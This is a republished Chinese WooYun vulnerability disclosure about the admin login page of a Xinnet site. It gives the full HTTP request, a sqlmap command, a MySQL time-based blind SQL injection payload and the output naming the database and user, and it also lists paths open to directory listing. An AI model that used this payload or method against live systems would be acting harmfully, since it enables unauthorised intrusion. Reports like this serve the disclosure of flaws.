新网某站后台SQL注入&目录遍历

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-27: 细节已通知厂商并且等待厂商处理中
2016-04-27: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

新网某站后台sql注入&&目录遍历

详细说明:

1. sql注入:

站点:

code 区域
http://hcp.xinnet.com/



用户名直接输入账号密码显示用户密码错误,在用户名出加单引号提示查询数据失败! 存在注入!!

code 区域
POST /loginAction.do?method=doLogin HTTP/1.1
Host: hcp.xinnet.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://hcp.xinnet.com/
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_evar8%3D5%253A45PM%3B%20s_evar9%3DSunday%3B%20s_evar6%3DNew%3B%20s_evar7%3D1%3B%20s_sq%3Dveristemplate%253D%252526pid%25253Dxinnet%2525253Apc%2525253Axinnet%25252520landing%25252520page%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.xinnet.com%2525252Fdomain%2525252Fzt%2525252F2016com.html%252526ot%25253DA%3B; s_pers=%20s_vnum%3D1462032000151%2526vn%253D1%7C1462032000151%3B%20s_fid%3D1FCFD3B0ED1F8024-08BB5D93DED29CA4%7C1524563589198%3B%20s_nr%3D1461491589202-New%7C1464083589202%3B%20s_invisit%3Dtrue%7C1461493389205%3B; Hm_lvt_d8c85dc3da4ccc9862aa45a86f64b77e=1461491541; Hm_lpvt_d8c85dc3da4ccc9862aa45a86f64b77e=1461491541; __clickidc=146149154254810008; Hm_lvt_4a3d459f424b6b83ad11805cc3dc1e4a=1461491598; Hm_lpvt_4a3d459f424b6b83ad11805cc3dc1e4a=1461491598; JSESSIONID=211C03DAE9354C59174F13236554570A
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

loginName=fdsfds&password=dfgdf&validateCode=7934



保存在sqlmap目录下为1.txt文件

loginName存在注入,直接sqlmap -r 1.txt

payload:

code 区域
Parameter: loginName (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: loginName=fdsfds' AND (SELECT * FROM (SELECT(SLEEP(5)))SHKa) AND 'PPAZ'='PPAZ&password=dfgdf&validateCode=7
934



code 区域
web application technology: Servlet 2.4, Tomcat 4.0.2
back-end DBMS: MySQL 5.0.12





code 区域
current user:    '[email protected]'

current database: 'xinnet'



注入1.png



注入存在!不深入



=====================================================小分割线



2.目录遍历:

code 区域
http://hcp.xinnet.com/pages/
http://hcp.xinnet.com/styles/
http://hcp.xinnet.com/scripts/



遍历1.png









漏洞证明:

以上足以证明!!

修复方案:

你们更专业!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-07 07:10

厂商回复:

 

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。

百度收录:百度已收录『查看详情』

本文链接:新网某站后台SQL注入&目录遍历 - https://www.15qq.cn/wooyun/774.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知